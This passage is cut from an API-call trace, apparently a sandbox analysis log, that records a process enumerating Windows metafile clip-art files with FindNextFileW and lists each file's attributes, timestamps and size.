nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0126.216] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0126.216] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0126.216] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0126.216] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0126.217] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0126.218] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0126.219] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, 